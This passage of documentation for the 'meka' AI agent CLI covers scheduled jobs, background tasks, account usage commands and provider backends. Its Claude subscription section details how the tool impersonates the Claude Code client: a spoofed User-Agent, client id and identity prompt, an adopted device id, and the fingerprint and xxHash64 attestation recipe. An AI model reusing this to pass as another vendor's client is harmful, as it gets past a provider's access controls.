[permissions].enabledwhen reading a session’s recorded level, so neither can report a job as able to fire that the host refuses. -
GET /v1/scheduleandGET /v1/sessions/{id}/schedulecarry awithheldfield with the same sentence, absent when the job can fire.
Firing the reminder ungated instead would be the more forgiving-looking choice and the wrong one: it
turns a conditional job into an unconditional one, so an every = "1m" watcher that normally speaks
once a week would deliver a turn a minute for as long as the session stayed below that bar. An
ungated job is unaffected by a gate’s authority, and keeps firing at any level above none.
At none nothing fires at all, gated or not. Every tool is refused at dispatch there, so the turn
would read nothing, change nothing, and be unable to reach schedule_cancel to stop itself being
woken again: tokens spent to produce an agent that can describe its predicament and do nothing
about it. POST /v1/sessions/{id}/schedule refuses to create a job on such a session for the same
reason; schedule_create needs read to dispatch at all, so the agent cannot reach it.
Both halves are load-bearing. The recorded level rarely refuses on its own, since a creation door already demanded it; the live level is what makes a withdrawal real. The recorded level still matters for a job created before it was stored, which reads as “no authority” and stays refused.
Inspecting jobs
The agent sees a short index of the current session’s jobs in its per-turn context, so it can avoid
scheduling a duplicate. For details it calls schedule_list.
From your side:
meka schedule list # every session's jobs
meka schedule list --session 0b5c # one session, by id or unique prefix
meka schedule show 7f3a1b2c # one job in full, by id or unique prefix
meka schedule cancel 7f3a1b2c # by id, or any unique prefix
meka schedule list --format json # {"jobs": [...]}, the shape GET /v1/schedule answers with
list is a table to scan: job id, the session it wakes, its schedule, how long until it next fires,
whether it is gated (shell, tool, or -), and the beginning of its prompt. Every cell is bounded
so the table stays legible. Under --format json, list and show print each job with the fields
GET /v1/schedule uses (id, session_id, schedule, prompt, gate,
created_at, last_fired_at, next_fire_at, withheld), ids in full and nothing truncated; the
gate’s check is always given, since the operator at the terminal can read every job in the store.
Both ids print as a UUID’s first segment, and widen only if that would show two rows the same
string, so what you see is normally enough to retype into show, cancel or --session, which
take any unique prefix. show prints both in full.
Normally, because uniqueness is computed over the rows being printed while show and cancel scan
every job there is. list --session <id> narrows the table, so it can print a prefix that another
session’s job makes ambiguous. It fails closed (the command refuses and names the ids that
collided), and an unfiltered meka schedule list always prints a prefix that resolves.
show is the one that answers what a job actually does: the whole prompt, the whole command or tool
a gate runs, the session’s full id, when it last fired, and whether it is withheld. Nothing there is
truncated, which is why it is a separate command rather than a wider table.
In the REPL, /schedule lists the current session’s jobs, /schedule show <id> prints one in full,
and /schedule cancel <id> cancels one. All three answer inside the conversation you are in: a job
belonging to another session is not found here, which is what makes the ids the listing prints the
ids the other two take. The table drops the Session column, which would repeat one id down every
row, and spends the width on Held instead.
Configuration
[schedule]
enabled = true # default true; false hides the tools and stops the scheduler
poll_interval = "10s" # how often due jobs are checked
missed_grace = "24h" # how late a one-shot may be and still fire
gate_timeout = "30s" # wall-clock budget for a gate probe
max_jobs = 50 # per-session ceiling, refused at schedule_create
max_consecutive_fires = 5 # per-session ceiling on turns spent in one sweep
claim_lease = "1h" # how long a host's claim on an occurrence is good for
max_consecutive_fires bounds a batch, not a total. A sweep contains its turns, so lowering it does
not stop a backlog landing, nor slow it down; it splits it into smaller groups with other sessions
interleaved between them. Raising it above the number of jobs one session can have due at once has
no effect at all.
With a long poll_interval and a small budget, a large backlog can take long enough to drain that a
one-shot job ages past missed_grace and is dropped (with a warning) before its turn comes.
poll_interval is the real resolution floor: a job with a shorter interval fires once per tick, not
once per interval.
Setting enabled = false keeps the three schedule_* tool schemas out of every request and leaves
existing jobs on disk without firing. POST /v1/sessions/{id}/schedule refuses with a 422 rather
than accepting a job that could never run; GET /v1/schedule and DELETE /v1/schedule/{job_id}
keep working, so jobs left over from before the flag was flipped can still be listed and cleared.
Tips
- Write the prompt for a reader who has no context. The conversation that created the job may be long over, and after a compaction the turn that created it may not have survived.
- Reach for a gate whenever the answer is usually “nothing happened”.
- Keep gate probes fast and read-only. They run on every tick, and a gate that changes something is a side effect on a timer.
- Check what a gate’s probe returns across two runs where nothing happened. Identical output is the whole mechanism, and anything varying inside it turns the gate into a timer.
- If a schedule matters, check what
schedule_createreports back: it states the resolved next fire in absolute local time, which is how you catch a cron expression that parsed fine and means something other than you intended.
Background tasks
An ordinary tool call holds the turn open until it returns. That is right for reading a file and wrong for a twenty-minute build: the agent cannot answer anything else while it waits, and the alternative it reaches for on its own, nohup … & plus polling, gets no notification when the work is done.
A background tool call returns immediately with a task id and delivers its result later, as its own turn.
Off by default. Turn it on with:
[background]
enabled = true
max_tasks = 10 # concurrent per session
When to enable it
This changes the contract of the primary interaction. Without it, you ask and the agent answers. With it, you ask, the agent answers, and something else may interrupt you several minutes later.
That is right for an assistant that runs unattended, keeps talking while work proceeds, and reports when it lands. It is usually wrong for the interactive case, someone at a terminal using the REPL like a command line, where blocking is what you want and asynchrony is a surprise.
Every other capability block ([schedule], [skills], [memory]) defaults on. This one does not, because those add capability without changing when a turn ends.
How the agent uses it
Once enabled, every tool gains an optional background parameter, including tools from MCP servers, since a slow MCP call is exactly the kind worth detaching:
execute_command({"command": "cargo test --all", "background": true})
That returns something like:
Started in the background as task 7f3a1c22 (cargo test --all). It is still
running; its result will be delivered to you when it finishes.
The agent then carries on. When the task ends, its outcome arrives as a new turn:
[Background task reporting at 2026-08-12 14:31 +02:00]
7f3a1c22 (cargo test --all) finished after 12m 4s.
test result: ok. 1674 passed; 0 failed
Running tasks also appear in the per-turn context under [Background], so the agent can see what it already started and does not launch a second copy:
[Background]
Tasks you started and did not wait for, still running. Each will report to you
on its own when it finishes; do not poll for them and do not start a second
copy of work already listed here.
- **7f3a1c22**: cargo test --all
That section is rendered fresh every turn from live state, like [Todo list], so it is always current rather than something the agent has to reconstruct. It carries no results: an outcome is permanent and belongs in the conversation, delivered as its own turn. The section disappears entirely when nothing is running.
Outcomes
Every task ends in one of four states, and every one of them is reported (as a turn everywhere except --oneshot, which has no later turn and prints them instead):
| Status | Meaning |
|---|---|
completed | The tool returned successfully |
failed | The tool returned an error |
canceled | Stopped on request, via task_cancel, /task cancel, or a second Ctrl+C |
interrupted | The process holding it went away |
interrupted is the one that matters most. A task in flight when meka exits cannot be resumed, so it is retired and reported the next time something takes ownership of that session: a REPL resume, a meka serve reattach, or an ACP session/load. Nothing is written at exit; the next owner does the retiring, because holding the session lock is what proves the previous owner is gone. Without this the agent would wait forever on a result it had usually already promised someone.
Large output is written to a scratchpad entry and the delivered turn carries the beginning plus the entry name, so a long build log does not occupy the conversation permanently.
Managing tasks
The agent has task_list and task_cancel. You have:
/task # list this session's tasks
/task show 7f3a1c22 # one task in full, including its whole id
/task cancel 7f3a1c22 # stop one
/task cancel --all # stop all of them
A canceled task still reports back, so the agent learns it stopped rather than waiting on it, but it does not interrupt to say so. Every other outcome wakes the agent when it lands, because nobody chose it: a build finished, a tool failed, or a host died holding the task. A cancellation is always somebody’s deliberate act, and that somebody already knows, so it waits and is read at the top of whichever turn the session takes next (yours, or a scheduled job’s), as part of that message rather than as one of its own. Canceling several tasks costs no turns at all.
Under meka serve the turn that delivers an outcome is on the session’s
event feed, opening with a turn.started whose source is
background, so a client watching the session sees the report arrive and the agent act on it.
Webhooks do not wait on any of that. Under meka serve, task.finished fires as soon as a task
reaches a terminal state, rather than when a turn gets around to reporting it, so a canceled task
is announced immediately, and one left running by a host that died is announced when the session is
next opened, which it was not before.
An outcome that rides a turn is part of that turn’s message, so /rewind over that exchange takes
the report with it. The task row is already stamped as reported and is not handed out again, so the
outcome is gone rather than redelivered. meka session export still has it: the log is append-only,
and a rewind changes what the model sees rather than what was recorded.
Ctrl+C
The first Ctrl+C cancels the turn only. Background tasks keep running.
This is the shell’s contract, where Ctrl+C signals the foreground process group and &-ed jobs survive. Losing a twenty-minute build to a keystroke aimed at the answer on screen is unrecoverable, and it is not what the keystroke meant.
meka prints what survived so nothing is hidden:
(interrupted)
2 background task(s) still running; stop them with `/task cancel --all`.
A second Ctrl+C during the same turn stops them. Between turns, /task cancel --all is the route.
Where it works
| Host | Behavior |
|---|---|
| REPL | Full. Outcomes arrive between turns |
meka serve | Full, for sessions currently resident |
| ACP | Full, for sessions the editor has open |
--oneshot | The run waits for outstanding tasks before exiting |
A one-shot run exits with the turn, so there is no later turn to deliver into. Rather than kill the work halfway through, it waits for every outstanding task and then prints the outcomes on stderr. The agent does not see them: its turn is already over. So a background call under --oneshot costs the same wall-clock as a synchronous one without the result reaching the model, which makes it worth avoiding rather than a feature to reach for.
Sub-agents (agent_spawn) deliberately cannot start background tasks. A sub-agent’s session ends with the single turn that spawned it, so it could neither outlive that turn nor be around to hear the result.
Concurrent edits
Background tasks make it ordinary for two agents to work in one directory at once. meka does not lock anything: coordination is the orchestrating agent’s job, exactly as it is between two people on one machine.
What it does do is make a lost race visible. edit_file records what a file looked like when it was read, and refuses an edit against a file that changed since:
Error: file 'src/main.rs' changed on disk after you read it. Something else
wrote to it (a shell command, another agent, or the user). Read it again
before editing so you are not overwriting that change, or set force=true to
edit anyway.
This applies whether or not background tasks are enabled: a shell sed -i, or your own editor, produces the same situation.
A file served by the editor under ACP is checked against the editor rather than the disk, since the bytes the agent saw were the editor’s. The check is the same; only the thing it compares against changes. See read-before-edit.
Account info
meka account usage, whoami and stats expose read-only account information obtained through a
provider’s OAuth API, so you can script things that aren’t otherwise reachable (a status bar, a cron
alert). Each takes an optional --profile <name> (defaults to the active profile, the way a run
does) and a --format plain|json, and reports on the account that profile bills: a request needs
a model, which is the profile’s. The requested data goes to stdout; notes and errors go to
stderr, so meka account … 2>/dev/null | jq stays clean. The rest of the meka account suite
(add, login, list, remove) is documented under Config file.
Availability is per backend: claude-subscription and chatgpt-subscription (subscription OAuth) support these;
for usage and stats, API-key backends, OpenAI-compatible endpoints and Ollama print a short
“not available” note and exit non-zero. whoami works on any account: it fills the fields it can
and fails only when the credential itself is invalid.
meka account usage
Current rate-limit windows (percentage used + reset time):
$ meka account usage
Account usage
5-hour (session) [##--------] 23% used (resets in 1h 58m, 2026-07-02 02:10)
Weekly [----------] 4% used (resets in 12h 48m, 2026-07-02 13:00)
$ meka account usage --format json
{
"profile": "work",
"account": "claude-max",
"windows": [
{ "label": "5-hour (session)", "used_percent": 23.0, "resets_at": 1782958200 },
{ "label": "Weekly", "used_percent": 4.0, "resets_at": 1782997200 }
],
"extra_usage": { "enabled": false, "utilization": null, "used": 0.0,
"balance": null, "currency": "USD" },
"note": null
}
resets_at is a Unix timestamp in seconds (date -d @1782958200). The extra_usage block reports
pay-as-you-go / overage state (whether it’s enabled, percent of the extra-usage limit consumed,
amount spent, and remaining credit balance); the plain view shows a line when it is enabled, has a
balance, or has recorded any spend.
meka account whoami
Account identity, plan, and local auth status. The auth block is computed from the stored
credential (no network), so even when the identity call fails because the token needs a re-login,
whoami still reports it and exits non-zero:
$ meka account whoami
account: claude-max
backend: claude-subscription
profile: work
auth: valid (5h 45m)
plan: claude_max
tier: default_claude_max_20x
subscription: active
role: admin
$ meka account whoami --format json
{
"profile": "work",
"account": "claude-max",
"backend": "claude-subscription",
"auth": { "valid": true, "expires_at": 1782971829, "expires_in_seconds": 20709 },
"identity": { "plan": "claude_max", "tier": "default_claude_max_20x",
"subscription_status": "active", "role": "admin", ... }
}
identity is null when the backend has no identity endpoint. expires_at / expires_in_seconds
are in seconds; a negative expires_in_seconds (or valid: false) means “run meka account login”.
meka account stats
Historical usage. chatgpt-subscription is rich (lifetime tokens, peak day, streaks, and per-day token
counts); claude-subscription reports only a first-used date:
$ meka account stats
account: claude-max
profile: work
first used: 2026-04-01
$ meka account stats --format json
{ "profile": "work", "account": "claude-max", "lifetime_tokens": null, "peak_daily_tokens": null,
"current_streak_days": null, "longest_streak_days": null,
"first_used": "2026-04-01T17:36:16.996974Z", "daily": [] }
For Codex, daily is a list of { "date": "YYYY-MM-DD", "tokens": N } you can feed into a graph.
Example: i3blocks
A block that shows the Claude 5-hour and weekly usage, refreshed every 5 minutes:
#!/bin/sh
# ~/.config/i3blocks/meka-usage (set interval=300)
u=$(meka account usage --profile work --format json 2>/dev/null) || { echo "claude ?"; exit 0; }
echo "$u" | jq -r '
(.windows[] | select(.label|startswith("5-hour")).used_percent) as $s |
(.windows[] | select(.label=="Weekly").used_percent) as $w |
"claude 5h:\($s|floor)% wk:\($w|floor)%"'
Each invocation makes one API call, so keep the poll interval sane (minutes, not seconds). The token is refreshed automatically when near expiry and written back to the store, exactly as during a normal session.
Providers overview
A backend is how meka reaches an LLM inference service. meka ships with five, each selectable as an account’s backend:
| Backend | Protocol | Endpoint | Auth |
|---|---|---|---|
anthropic-messages | Anthropic Messages | {base}/v1/messages | API key |
claude-subscription | Anthropic Messages | api.anthropic.com/v1/messages | Claude subscription |
openai-chat-completions | OpenAI Chat Completions | {base}/chat/completions | API key |
openai-responses | OpenAI Responses | {base}/responses | API key |
chatgpt-subscription | OpenAI Responses | chatgpt.com/backend-api/codex/responses | ChatGPT subscription |
A backend names the wire protocol, not a vendor. That is deliberate, and it cuts both ways. One vendor can serve several protocols: OpenAI publishes Chat Completions and Responses, and they are different request shapes, not options on one. One protocol is served by many vendors: /v1/messages is implemented by Anthropic, Amazon Bedrock, Databricks, LiteLLM and Ollama, so calling it “the Claude API” would misname it the moment you point it elsewhere.
The two subscription backends are the exception, and carry a vendor name instead. What you pick there is a billing relationship; the endpoint and the client shape come with it and are not yours to choose.
Synthetic is the clearest case for why this matters. One vendor, two protocols, two base URLs:
[accounts.synthetic-claude]
backend = "anthropic-messages"
base_url = "https://api.synthetic.new/anthropic/v1"
[accounts.synthetic-gpt]
backend = "openai-chat-completions"
base_url = "https://api.synthetic.new/openai/v1"
Configuring an account and a profile
A backend is reached through an account, which holds the endpoint and the credential, and asked
for a model through a profile on that account. The easiest way is the two command suites:
meka account add writes the account to the config file and stores the secret (API key or OAuth
token) in the store, and meka profile add names the model:
$ meka account add anthropic --backend claude-subscription
$ meka profile add work --account anthropic --model claude-opus-5
This produces an [accounts.anthropic] and a [profiles.work] entry in
~/.config/meka/config.toml:
[accounts.anthropic]
backend = "claude-subscription"
[profiles.work]
account = "anthropic"
model = "claude-opus-5"
Two profiles on one account share one login, which is how one subscription runs two models. With
one profile configured, it is the default. Once there are several, meka profile use <name> writes
default_profile; add never does.
Selecting a profile
A new session runs on the profile named by --profile <name>, else default_profile, else the
sole profile. Switch the default with meka profile use <name>:
meka --profile work # pick the profile this session starts on
meka profile use work # persist as default_profile
There is no environment-variable override for profile selection.
A resumed session ignores all three and runs on the profile it recorded, so meka -c stays
where the conversation was had whatever default_profile currently says. --profile on a resume is
not a per-run override either: it repins the session, rewriting the row so every later resume
keeps it. meka session list shows which profile each session runs on, which is the whole story: a
session records a profile name and nothing else. You can move a live session with /profile <name>
in the REPL, PATCH /v1/sessions/{id} over HTTP, or the Profile picker in an ACP client. See
Sessions.
Pointing a backend somewhere else
Every API-key account takes a base_url, so the protocol you pick is independent of who serves it:
| Server | Chat Completions | Responses | Anthropic Messages |
|---|---|---|---|
| OpenAI | yes | yes | no |
| Anthropic | no | no | yes |
| Ollama | yes | yes (v0.13.3+) | yes |
| OpenRouter | yes | yes (beta) | yes |
| vLLM / LM Studio | yes | yes | no |
| Synthetic | yes | no | yes |
Where a server offers both OpenAI protocols, prefer openai-responses: it is what OpenAI recommends for new work and what the agent tooling ecosystem has moved to. Use openai-chat-completions for a server that does not serve Responses.
Note that several of these also expose a legacy /v1/completions endpoint. That is a third, different protocol: a bare prompt string in, choices[].text out, no tool calling. meka does not speak it. It cannot: the agent loop needs tool calls, which that protocol has no representation for.
anthropic-messages vs claude-subscription
Both talk to Claude’s /v1/messages endpoint, but the auth and request shape differ:
anthropic-messagesis the straightforward path: anx-api-keyheader and a plain system prompt, plusanthropic-beta: interleaved-thinking-2025-05-14whenever thinking is on (the default). Choose this when you have a Claude API key.claude-subscriptionreplicates the Claude Code CLI exactly: OAuth tokens, fingerprint-encoded version header, xxHash64 attestation over the request body, injected billing system block. Choose this when you want to use a Claude Code subscription. Any deviation from the expected shape causes requests to be rejected, so avoid proxies that rewrite headers or reformat the body.
Choosing between the OpenAI backends
Three backends, two protocols:
openai-chat-completionsposts to/chat/completionswith an API key. Choose it for a server that serves only this protocol.openai-responsesposts to/responseswith an API key, the same protocolchatgpt-subscriptionuses. Choose it for OpenAI, or for any server that serves Responses.chatgpt-subscriptionposts tochatgpt.com/backend-api/codex/responses, authenticating by OAuth againstauth.openai.comand mirroring the first-party Codex CLI. Choose it to bill a ChatGPT Plus / Pro / Team / Business subscription instead of a per-token API key.
The first two differ by protocol; the last two differ only by auth and endpoint.
Streaming vs non-streaming
By default, meka uses streaming mode: tokens appear in the terminal as they are generated. Use --no-stream to wait for the complete response before displaying it.
Streaming is recommended for interactive use. Non-streaming may be useful for scripting or when the provider does not support SSE.
--no-stream applies to every agent in the run, sub-agents included, whichever profile a sub-agent is pinned to. Neither mode puts a clock on a reply: a stream that stays silent for five minutes is treated as dead, and a whole reply may take as long as it takes, with a connection whose peer has gone caught by TCP and HTTP/2 keepalives instead.
Anthropic Messages
The Anthropic Messages API (POST {base_url}/v1/messages) with an API key. Use this when you have an Anthropic API key, billed per token; to bill a Claude subscription instead, see claude-subscription, which speaks the same protocol.
The protocol is not Anthropic’s alone. Databricks, OpenRouter, Vercel AI Gateway, LiteLLM, Synthetic and Ollama all serve /v1/messages, as does Amazon Bedrock on its Anthropic-compatible host (https://bedrock-mantle.{region}.api.aws/anthropic, with an API key, not bedrock-runtime, which is SigV4 and /model/{id}/invoke). This backend reaches any of them via base_url, which is why it is named for the protocol rather than for Claude.
Configuration
| Setting | Value |
|---|---|
Account backend | anthropic-messages |
| Default base URL | https://api.anthropic.com |
| Credential | API key (sk-ant-api03-...) kept in the store |
| Auth method | x-api-key header |
| API version | 2023-06-01 |
Quickest start
meka account add anthropic --backend anthropic-messages
meka profile add work --account anthropic --model claude-opus-5
meka account add prompts for your Claude API key, saves it to the store, and writes the
[accounts.anthropic] table. To read the key from a pipe instead of prompting, pass
--api-key-stdin. meka profile add then writes the profile that names the model.
Config file
The two commands write this for you (the key stays in the store, not here):
default_profile = "work"
[accounts.anthropic]
backend = "anthropic-messages"
[profiles.work]
account = "anthropic"
model = "claude-opus-5"
effort
meka sends the reasoning-effort control as output_config.effort in the request body. Unlike claude-subscription, no beta header is needed: the parameter is generally available on the direct Messages API. When effort is unset the field is omitted entirely, which is how you ask for Anthropic’s own default. See the effort config reference for the levels.
thinking
adaptive (the default) sends thinking: {"type": "adaptive"} and lets the model set its own budget; budgeted sends the older {"type": "enabled", "budget_tokens": N} form, taking N from the profile’s thinking_budget and falling back to [thinking].budget; off sends no thinking field. Pre-4.6 Claude models require budgeted.
Supported models
Any model available through the Claude Messages API; meka forwards the model string verbatim and doesn’t gate which strings are valid. For the current line-up and their retirement dates, see Anthropic’s models overview; meka profile add suggests claude-opus-5 for a profile on a Claude account.
Custom base URL
To use a Claude-API-compatible proxy or gateway, set the account’s base_url when creating it:
meka account add gateway --backend anthropic-messages \
--base-url https://gateway.example.com/anthropic
meka profile add gateway --account gateway --model claude-opus-5
A trailing /v1 is dropped, since meka appends it per request: publish https://gateway.example.com/anthropic or https://gateway.example.com/anthropic/v1, either works.
Anthropic-compatible endpoints
The model behind the endpoint doesn’t have to be Claude. Ollama, LM Studio and similar runtimes serve local weights over POST /v1/messages, and anthropic-messages reaches them with a placeholder key:
meka account add local --backend anthropic-messages --base-url http://127.0.0.1:11434
meka profile add local --account local --model 'hf.co/bartowski/Qwen3.8-27B-GGUF:Q8_0'
Nothing in the request is tuned to Claude unless you ask for it. effort is omitted when unset, so a backend with no reasoning tiers is never handed one, and thinking is whatever the profile says rather than something inferred from the model name: set budgeted if your endpoint only implements the older encoding, or off if it implements neither.
The one setting worth stating is the context window. meka never probes for it, so an unset profile budgets against the 1M default; on a smaller model that means compaction only fires once the backend itself rejects the request:
[profiles.local]
context_window = 262144
thinking = "budgeted" # only if the endpoint rejects the adaptive form
API details
Endpoint: POST {base_url}/v1/messages
Headers:
x-api-key: <api_key>anthropic-version: 2023-06-01content-type: application/jsonaccept: application/jsonanthropic-beta: interleaved-thinking-2025-05-14, whenever thinking is on (the default)
System prompt: Sent as a top-level system string.
Tool format: Tools are defined with input_schema:
{
"name": "read_file",
"description": "Read the contents of a file at the given path.",
"input_schema": { "type": "object", "properties": { ... } }
}
Streaming: Server-Sent Events with named event types (message_start, content_block_start, content_block_delta, content_block_stop, message_delta, message_stop, ping).
Claude subscription
The Anthropic Messages API billed to a Claude subscription. Authenticates by OAuth and mimics the Claude Code CLI’s exact request shape, headers and request signing. Use this instead of a per-token Anthropic API key; for that, see anthropic-messages, which speaks the same protocol.
Named for the subscription rather than the protocol because that is what you are choosing: the endpoint is always api.anthropic.com and the client shape comes with the billing relationship.
Note: This backend replicates Claude Code’s fingerprinting and attestation machinery exactly. Modifying the request body, headers, or OAuth flow will cause requests to be rejected by Anthropic. If you hit 401/403 errors, verify that no middleware is rewriting the request.
Configuration
| Setting | Value |
|---|---|
Account backend | claude-subscription |
| Default base URL | https://api.anthropic.com |
| Credential | OAuth bundle kept in the store (acquired via meka account add / login) |
| Auth method | Authorization: Bearer <oauth_token> |
| API version | 2023-06-01 |
Quickest start
meka account add anthropic --backend claude-subscription
meka profile add work --account anthropic --model claude-opus-5
meka account add prints an authorization URL for you to open, walks you through authorization,
and saves the tokens to the store under the [accounts.anthropic] table it writes.
meka profile add then names the model; a sole profile is the default.
Config file
The two commands write this for you; you can also edit it by hand (secrets stay in the store):
default_profile = "work"
[accounts.anthropic]
backend = "claude-subscription"
# device_id, oauth_token_url, client_id are all optional overrides
[profiles.work]
account = "anthropic"
model = "claude-opus-5"
effort = "xhigh" # optional; unset sends "high", as Claude Code does
thinking = "adaptive" # optional; "adaptive"|"budgeted"|"off", default "adaptive"
thinking_display = "updates" # optional; updates|summarized|redacted, default updates
See Configuration → Config file for the full list of fields.
Backend-specific keys
effort
Sent as output_config.effort under the effort-2025-11-24 beta. When unset, meka sends high, which is what Claude Code does; only a model that takes no effort at all gets neither the field nor the beta. An explicit value is absolute: sent verbatim, with no validation or clamping, whatever model it is aimed at. Typical values: "low", "medium", "high", "xhigh", "max". See Reasoning effort.
thinking
adaptive (the default) sends thinking: {"type": "adaptive"}; budgeted sends {"type": "enabled", "budget_tokens": N} from the profile’s thinking_budget (falling back to [thinking].budget), which pre-4.6 models require; off sends no thinking field. temperature follows whether thinking is on at all, not which encoding it uses. The betas do not: they are gated on the model alone.
thinking_display
How the model’s thinking is presented, one of Claude Code’s three display modes. updates, the
default and Claude Code’s own since 2.1.263, sends thinking.display = "updates" under the
thinking-display-updates-2026-08-18 beta: the server streams a running token count instead of
the text, which the REPL draws as Thinking... (150 tokens). summarized sends
thinking.display = "summarized" and streams a short readable summary. redacted sends the
redact-thinking-2026-02-12 beta and no display field, and the server may answer with opaque
redacted_thinking blocks. In every mode the thinking blocks come back signed, and meka stores
and replays them verbatim, so multi-turn reasoning continuity is maintained. With thinking off
nothing is displayed and the redaction beta is sent, as Claude Code does.
A stored block records that its signature is Claude’s, so resuming the session under an OpenAI profile does not replay a Claude signature as encrypted reasoning. The rule runs the other way as well: a thinking block with no Claude signature, whether the Responses API sealed it or an Anthropic-compatible endpoint returned it unsigned or with an empty one, is left out of a Claude request, because the API rejects a thinking block without one. A session recorded by 0.41 holds its blocks under a shape that names no provider, and meka does not reshape them when it opens a session; the one-shot upgrade script does. Until it runs, such a block keeps its readable text and loses its signature, so those turns are not replayed as verified reasoning.
device_id
Stable per-machine identifier embedded in metadata.user_id to mirror Claude Code’s ~/.claude.json device id (getOrCreateUserID in utils/config.ts).
If unset, meka first tries to adopt userID from ~/.claude.json (so meka and Claude Code on the same machine present as the same device). If that file is missing or has no userID, meka generates a 64-character hex string. Either way the resolved value is persisted back to [accounts.<name>].device_id in config.toml. Other backends ignore this field; no stub config file is written for them.
client_id
Optional override for the OAuth client id. Defaults to Claude Code’s client id; rarely needed.
Authentication
OAuth login
meka account add (and meka account login <name> to re-authenticate) performs an OAuth 2.0 Authorization Code flow with PKCE:
- meka generates a PKCE challenge and prints the URL of Claude’s authorization page for you to open.
- You authorize the application in your browser.
- You paste the authorization code back into meka (the redirect URI is the platform.claude.com hosted callback page, not a local listener).
- meka exchanges the code for access + refresh tokens.
- Tokens are kept in the store and refreshed automatically.
The OAuth client id defaults to Claude Code’s client id but can be overridden per account via client_id.
Token lifecycle
- Acquire the initial token with
meka account add/login. - The token bundle is kept in the store, keyed by the account name.
- On subsequent launches the token is loaded from the store.
- meka refreshes the access token automatically when it’s within 5 minutes of expiry; the new token is written back to the store under the same account.
- If the refresh token dies, run
meka account login <name>to re-authenticate. meka says so itself: a refresh the authorization server rejects ends the turn with that command in the error, naming the account. A refresh that fails because the token endpoint is rate-limited or down is retried with backoff instead, since neither answer means the grant is bad.
Token refresh URL: defaults to https://platform.claude.com/v1/oauth/token. Configurable via oauth_token_url on the account.
Supported models
Any model your Claude Code subscription exposes. For the current line-up and their retirement dates, see Anthropic’s models overview; meka profile add suggests claude-opus-5 for a profile on a Claude account.
meka forwards the model string verbatim and doesn’t gate which strings are valid. What is model-derived is a small set of gates, each pointed the way Claude Code points it. temperature is an allowlist, so an unrecognized model omits the field rather than earning a 400: it goes only to the models that still accept sampling params (Opus 4.6, Sonnet 4.6, Haiku 4.5, and older). mid-conversation-system-2026-04-07 and output_config.effort are denylists, so an unrecognized model gets both: withholding the first would silently drop mid-conversation system messages, and effort is what a newer model is for. The claude-code-20250219 beta is skipped for the Haiku tier. See Beta header and Reasoning effort.
API details
Endpoint: POST {base_url}/v1/messages?beta=true
Authentication & identity headers:
Authorization: Bearer <oauth_token>anthropic-version: 2023-06-01anthropic-beta: <comma-separated beta list>(computed per request, see below)x-app: cliUser-Agent: claude-cli/<version> (external, cli)X-Claude-Code-Session-Id: <uuid>(per-process)- Stainless SDK identification headers (
x-stainless-*)
Beta header
Composed dynamically from the model, window and thinking settings, mirroring Claude Code’s own assembly. Order is significant; the list below matches the Claude Code 2.1.263 interactive-CLI wire capture (tools present, thinking on, display updates) exactly:
| Beta | When |
|---|---|
claude-code-20250219 | All models except Haiku family |
oauth-2025-04-20 | Always (subscription auth) |
context-1m-2025-08-07 | The profile’s context_window is a million tokens or more; Claude Code sends it for the [1m] model variant its user selected |
interleaved-thinking-2025-05-14 | Any modern Claude (4.x+) |
redact-thinking-2026-02-12 | Any modern Claude under thinking_display = "redacted", or with thinking off unless the display is summarized |
thinking-token-count-2026-05-13 | Any modern Claude (4.x+) |
context-management-2025-06-27 | Any modern Claude (4.x+) |
prompt-caching-scope-2026-01-05 | Always |
mid-conversation-system-2026-04-07 | Everything except Claude 3.x, Opus 4.7 and older, Sonnet 4.6 and older, and Haiku 4.5 |
advanced-tool-use-2025-11-20 | When the request carries tools (meka always does) |
effort-2025-11-24 | Every model that takes an effort at all, whether or not the profile set one |
fallback-credit-2026-06-01 | Always. Claude Code latches it on every interactive turn; it only advertises that the server may answer with a fallback credit, and meka sends no fallbacks of its own |
thinking-display-updates-2026-08-18 | Any modern Claude with thinking on under thinking_display = "updates", paired with thinking.display = "updates" |
extended-cache-ttl-2025-04-11 | Always (meka sends a 1h cache TTL) |
cache-diagnosis-2026-04-07 | Always, paired with the body’s diagnostics.previous_message_id: the id of the previous response’s message, or null on a conversation’s first request and after a resume |
System prompt
Sent as an array of three text blocks:
-
x-anthropic-billing-header: cc_version=<version>.<fingerprint>; cc_entrypoint=cli; cch=<xxHash64-attestation>;plus, when they apply,cc_is_subagent=true;,cc_prev_req=<request id>;andcc_prompt_id=<uuid>;, in that order. The fingerprint suffix is a 3-character hex hash derived from the first user message (SHA256(salt + msg[4] + msg[7] + msg[20] + version)[:3]); thecchtoken is xxHash64 of a filtered copy of the serialized request body, computed and patched in just before send.cc_prompt_ididentifies one human prompt and stays the same across every request that prompt produces, including the whole tool loop; a sub-agent inherits its spawner’s.cc_prev_reqnames therequest-idof the previous response in the same conversation, so it is absent on a conversation’s first request. Both are absent from meka’s own side queries, which is where Claude Code omits them too. -
You are Claude Code, Anthropic's official CLI for Claude.(fixed identity prefix). -
Your own system prompt, which carries
cache_control: {type: "ephemeral", ttl: "1h", scope: "global"}.
Only block 3 is marked for caching, matching the captured Claude Code CLI wire; scope: "global" shares the cached prefix across sessions. Tools carry no cache_control (the rolling last-message breakpoint caches the tools+system prefix).
Body key order
Keys are serialized in Claude Code’s own order, which HTTP preserves:
model, messages, system, tools, metadata, max_tokens, thinking,
[temperature], [context_management], [output_config], [diagnostics], stream
Nothing in meka depends on that order. patch_request_body finds the cch=00000 placeholder by walking the JSON structurally to the top-level system key rather than by searching for the billing header, so a conversation that quotes one (which any session about this code does) cannot capture the attestation.
Other body fields
metadata.user_id: JSON-encoded{"device_id": "...", "account_uuid": "...", "session_id": "..."}(device_idfrom the account’sdevice_id;account_uuidfrom the OAuth token, empty until one is known;session_idis per-process).context_management.edits = [{type: "clear_thinking_20251015", keep: "all"}]: present when thinking is enabled on a context-management-capable model. Mirrors Claude Code’sapiMicrocompact.output_config.effort: see Reasoning effort.thinking.display: seethinking_display; absent with thinking off and underredacted.diagnostics.previous_message_id: the id of the previous response’s message in this conversation,nullon the first request and after a resume; absent on a compaction request, which is a side query. Pairs with thecache-diagnosis-2026-04-07beta.temperature: 1(only whenthinking = "off", and only for models that still accept sampling params).max_tokens:64_000underthinking = "adaptive",max(thinking_budget * 2, 32_000)underbudgeted,32_000underoff.
Reasoning effort
Claude Code never leaves output_config.effort to the server on a model that takes one: it looks the model up in a table bundled in its binary, reads that model’s default_effort, clamps it to what the model supports, and sends the result. meka also always sends a value, but one value rather than a per-model one, and sends the effort-2025-11-24 beta alongside it.
| sent | |
|---|---|
profile sets effort | that value, verbatim |
| profile sets nothing | high |
| model takes no effort | nothing, and no beta; a configured value is dropped with a warning |
